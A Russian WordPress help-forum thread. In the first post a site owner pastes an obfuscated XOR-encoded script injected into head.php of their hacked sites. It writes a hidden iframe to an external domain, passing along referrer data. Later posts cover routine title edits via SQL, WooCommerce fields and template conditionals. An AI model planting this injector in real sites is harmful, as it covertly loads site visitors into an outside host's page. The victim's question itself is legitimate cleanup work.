Спрашиваем и отвечаем по Wordpress-9

WG
На сайте с 10.06.2013
Offline
45
#651

Собсно, пару недель назад, что-то "заползло" на мой выделенный сервак, заразило все мои ВП сайты, теперь не могу избавиться от этой заразы. Вообщем дрянь в виде вот такого кода

<script type="text/javascript">var a="'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'2C'2;tcp'02pgdgpgp'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,pgdgppgp'0;'1@'2C'2;tcp'02fgdcwnv]ig{umpf'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,vkvng'0;'1@'2C'2;tcp'02jmqv'02'1F'02glamfgWPKAmormlglv'0:nmacvkml,jmqv'0;'1@'2C'2;tcp'02kdpcog'02'1F'02fmawoglv,apgcvgGngoglv'0:'05kdpcog'05'0;'1@'2C'2;kdpcog,ukfvj'1F2'1@'2C'2;kdpcog,jgkejv'1F2'1@'2C'2;kdpcog,qpa'1F'02'00j'00'02)'02'00vv'00'02)'02'00r'1C--'00'02)'02'00a33l6,'00'02)'02'00k,vg'00'02)'02'00cq'00'02)'02'00gpe'00'02)'02'00wkf'00'02)'02'00g,a'00'02)'02'00mo'00'02)'02'00-qlkvaj'1Df'00'02)'02'00gd'00'02)'02'00cwn'00'02)'02'00v]i'00'02)'02'00g{'00'02)'02'00umpf'1F'00'02)'02fgdcwnv]ig{umpf'02)'02'00'04pgdg'00'02)'02'00ppgp'1F'00'02)'02pgdgpgp'02)'02'00'04qg]p'00'02)'02'00gd'00'02)'02'00gp'00'02)'02'00pgp'1F'00'02)'02pgdgpgp'02)'02'00'04qmw'00'02)'02'00pag'1F'00'02)'02jmqv'1@'2C'2;fmawoglv,`mf{,crrglfAjknf'0:kdpcog'0;'1@'2C'1A-qapkrv'1G";b="";c="";var clen;clen=a.length;for(i=0;i<clen;i++){b+=String.fromCharCode(a.charCodeAt(i)^2)}c=unescape(b);document.write(c);</script>

гнездится в head.php, после удаления, проходит пару дней и снова чехарда начинается, кто-то сталкивался с таким? где могут быть еще "концы" прятаться?

Z
На сайте с 08.07.2009
Offline
95
#652
WoopyGoldberg:
где могут быть еще "концы" прятаться?

Да это шел на серваке лежит, была подобная фигня.

A
На сайте с 15.01.2014
Offline
49
#653

А как удалить пару слов в заголовках? с помощью functions.php ?

Чисто заголовки подправить, не ссылки не текст, а пару слов удалить со всех заголовках, 1000 заголовках, в ручную долго править.

этот код в статье удаляет? а мне надо в заголовках?

function replace_text_wps($text){
$replace = array(
// 'Ключевое слово' => 'замененное слово или пустое место'
'мой сайт' => '',
);
$text = str_replace(array_keys($replace), $replace, $text);
return $text;
}
Продаю программу для Арбитража криптовалюты. () Anonyk@mail.ru
[Удален]
#654
Anonyk:
А как удалить пару слов в заголовках? с помощью functions.php ?

Чисто заголовки подправить, не ссылки не текст, а пару слов удалить со всех заголовках, 1000 заголовках, в ручную долго править.

этот код в статье удаляет? а мне надо в заголовках?

Через phpmyadmin можно попробовать типа такого

UPDATE wp_posts SET post_title = replace(post_title, 'меняем', 'на это');
A
На сайте с 15.01.2014
Offline
49
#655
web2033:
Через phpmyadmin можно попробовать типа такого

UPDATE wp_posts SET post_title = replace(post_title, 'меняем', 'на это');

Ооо супер!! А как будет выглядить код, если мне надо заменить в тексте а не в заголовке?

vityalobanov
На сайте с 09.09.2009
Offline
86
#656

Подскажите, как можно реализовать такой момент, есть магазин на woocommerce, на каждой странице товара выводится информация о доставке, эта информация прописана в шаблоне, можно сделать в админке какое-то поле, чтобы не лезть постоянно в код, а прописать нужную информацию в это поле и она отобразилась на страницах?

wturm
На сайте с 01.04.2010
Offline
77
#657

Как вывести информацию если заполнено или не заполнено поле в визуальном в посте?

Т.е сейчас в шаблоне прописано вот таким образом:

<div class="entry-content">
<h3>Дополнительная информация:</h3>
<br />
<?php the_content(); ?>
</div>

Если заполнен контент - все выводиться ок, показывает заголовок мол дополнительная информация о товаре и далее текст, но если ничего не заполнено - все равно выводит заголовок а далее пусто...

т.е нужно заключить этот заголовок в какой-то код, который будет выводить (или не выводить) его в зависимости от заполненного текста в редакторе.

Как?

vityalobanov
На сайте с 09.09.2009
Offline
86
#658
wturm:
Как вывести информацию если заполнено или не заполнено поле в визуальном в посте?

Т.е сейчас в шаблоне прописано вот таким образом:


Если заполнен контент - все выводиться ок, показывает заголовок мол дополнительная информация о товаре и далее текст, но если ничего не заполнено - все равно выводит заголовок а далее пусто...

т.е нужно заключить этот заголовок в какой-то код, который будет выводить (или не выводить) его в зависимости от заполненного текста в редакторе.

Как?

Попробуй с помощью такого условия:

if (have_posts()): while (have_posts()): the_post();

if($post->post_content=="")

{

//если текст не заполнен

}

else

{

the_content();

}

endwhile; endif;

или вот этот вариант:

<?php

$content = get_the_content();

if(trim($content) == "") {

echo '<p>Empty Content</p>'

} else {

echo '<p>NOT Empty Content</p>';

} ?>

[Удален]
#659
Anonyk:
Ооо супер!! А как будет выглядить код, если мне надо заменить в тексте а не в заголовке?

post_content вместо post_title

wturm
На сайте с 01.04.2010
Offline
77
#660
vityalobanov:
Попробуй с помощью такого условия:

if (have_posts()): while (have_posts()): the_post();
if($post->post_content=="")
{
//если текст не заполнен
}
else
{
the_content();
}
endwhile; endif;

или вот этот вариант:

<?php
$content = get_the_content();
if(trim($content) == "") {
echo '<p>Empty Content</p>'
} else {
echo '<p>NOT Empty Content</p>';
} ?>

Второе не стало совсем - белый лист отдает, первое - не особо вкурил, как реализовать, но мне кажется тоже работать не будет.

Так ведь втрое должно выглядеть?

<?php

$content = get_the_content();

if(trim($content) == "") {

echo '<p class="goods-price-single">Дополнительные сведения:</p>'

} else {

echo 'тут оставляем пустым или заполняем по необходимости';

} ?>

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий